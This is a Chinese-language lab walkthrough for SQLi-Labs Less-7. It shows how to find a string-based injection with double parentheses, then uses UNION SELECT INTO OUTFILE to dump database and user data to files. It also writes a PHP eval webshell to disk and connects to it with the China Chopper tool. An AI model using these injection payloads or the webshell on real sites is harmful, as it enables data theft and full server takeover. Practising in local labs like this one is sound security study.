導(dǎo)出文件_GET_單引號_雙小括號_字符型注入
0x01. 分析查詢語句
想不到這件事倒成了重點(diǎn)…這關(guān)把報錯做了處理統(tǒng)一:
You have an error in your SQL syntax
分析數(shù)字型/字符型及單/雙引號注入:
http://localhost:8088/sqlilabs/Less-2/?id=1
http://localhost:8088/sqlilabs/Less-2/?id=1'
http://localhost:8088/sqlilabs/Less-2/?id=1"

第一、第三條正常,第二條報錯:字符型注入
注意:這里要強(qiáng)調(diào)一下,一般在Sql查詢語句中,單雙引號不能同時存在。即數(shù)字型/字符型及單/雙引號注入能在這三條語句返回的結(jié)果判斷出來。
分析是否存在括號及個數(shù):
http://localhost:8088/sqlilabs/Less-7/?id=1' and 1=1--+

將查詢語句后半段注釋掉發(fā)現(xiàn)仍報錯,說明有括號。依次增加括號個數(shù),直到回顯正常。
http://localhost:8088/sqlilabs/Less-7/?id=1')) and 1=1--+

注意:一般在Sql查詢語句中,想要正常查詢到信息,只能在最里層有引號,外層全是小括號。即已知注入類型后依次增加括號數(shù)必能分析出括號數(shù)(存在注入點(diǎn))。
0x02. 數(shù)據(jù)庫導(dǎo)出文件
嘗試導(dǎo)出:
http://localhost:8088/sqlilabs/Less-7/?id=1')) union select * from users into outfile "D:\\1.txt"--+

發(fā)現(xiàn)語法并未出錯,但Mysql報錯,且路徑下并未出現(xiàn)文件。
可能原因1:權(quán)限不夠,需要root權(quán)限才能對數(shù)據(jù)庫進(jìn)行讀寫操作。
用以下語句測試權(quán)限,回顯正常:
http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+

說明并非權(quán)限不夠的問題。
可能原因2:需要在指定的目錄下進(jìn)行數(shù)據(jù)的導(dǎo)出。
在Mysql命令行中測試:
select * from users into outfile "D:\\1.txt"
Mysql報錯,原因是:Mysql數(shù)據(jù)庫需要在指定的目錄下進(jìn)行數(shù)據(jù)的導(dǎo)出。
secure_file_priv這個參數(shù)用來限制數(shù)據(jù)導(dǎo)入和導(dǎo)出操作的效果,例如執(zhí)行load data、into outfile語句和load_file()函數(shù),這些操作需要用戶具有file權(quán)限。
1. 如果這個參數(shù)為空,這個變量沒有效果。
2. 如果這個參數(shù)設(shè)為一個目錄名,Mysql服務(wù)只允許在這個目錄中執(zhí)行文件的導(dǎo)入和導(dǎo)出操作。這個目錄必須存在,MySQL服務(wù)不會創(chuàng)建它.
3. 如果這個參數(shù)為null,Mysql服務(wù)會禁止導(dǎo)入和導(dǎo)出操作。這個參數(shù)在MySQL 5.7.6版本引入。
于是查看secure_file_priv:
show variables like '%secure%'

在指定的位置導(dǎo)出文件:


注意:在Mysql中,需要注意路徑轉(zhuǎn)義的問題,即用\\分隔。
0x03. 導(dǎo)出文件注入
以上是通過白盒測試拿到的數(shù)據(jù),在正常情況下,我們是不知道數(shù)據(jù)庫名和表名的,可以用之前的注入方法依次得出。
步驟一:字段數(shù)
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步驟二:數(shù)據(jù)庫名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步驟三:表名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步驟四:字段名
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步驟五:數(shù)據(jù)
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select * from users into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

0x04. 中國菜刀
中國菜刀是一款專業(yè)網(wǎng)站管理軟件,用途廣泛,使用方便,小巧實(shí)用,更多的利用方式是用它來連接放在網(wǎng)站上的木馬,來對被攻擊的網(wǎng)站進(jìn)行管理。
在該題中,若能將一句話木馬<?php eval($_POST["cmd"]);?>上傳至站點(diǎn)的根目錄或該web項目的文件夾,即更改secure_file_priv參數(shù),便可用中國菜刀連接webshell地址拿下整個站點(diǎn)。
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.php"--+

將其復(fù)制至Sqli-Labs的項目文件夾,使用中國菜刀連接http://localhost:8088/sqlilabs/1.php。


可以看到在菜刀中能夠管理整個服務(wù)器上的文件。
0x05. 導(dǎo)入/導(dǎo)出相關(guān)函數(shù)
@@datadir——數(shù)據(jù)庫存儲路徑
@@basedir——Mysql安裝路徑
dumpfile——導(dǎo)出文件,類似outfile;不同的是,dumpfile一次導(dǎo)出一行,會和limit結(jié)合使用
load_file()——將文件導(dǎo)入mysql,用法select load_file("文件路徑")
使用
select ... into outfile以逗號分隔字段的方式將數(shù)據(jù)導(dǎo)入到一個文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1將剛剛導(dǎo)出的文件log1.txt導(dǎo)入到表log1相同結(jié)構(gòu)的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','使用
select * into outfile導(dǎo)出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table導(dǎo)入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'
fields terminated by ','——字段間分割符
optionally enclosed by '"'——將字段包圍,對數(shù)值型無效
lines terminated by '\n'——換行符
0x06. 吐槽
以上所有導(dǎo)出文件的注入同樣可以用bool盲注的腳本跑出來(因為沒有過濾且有回顯)。
這題沒有文件上傳漏洞,雖說能改Mysql的參數(shù),但很難得到站點(diǎn)根目錄路徑。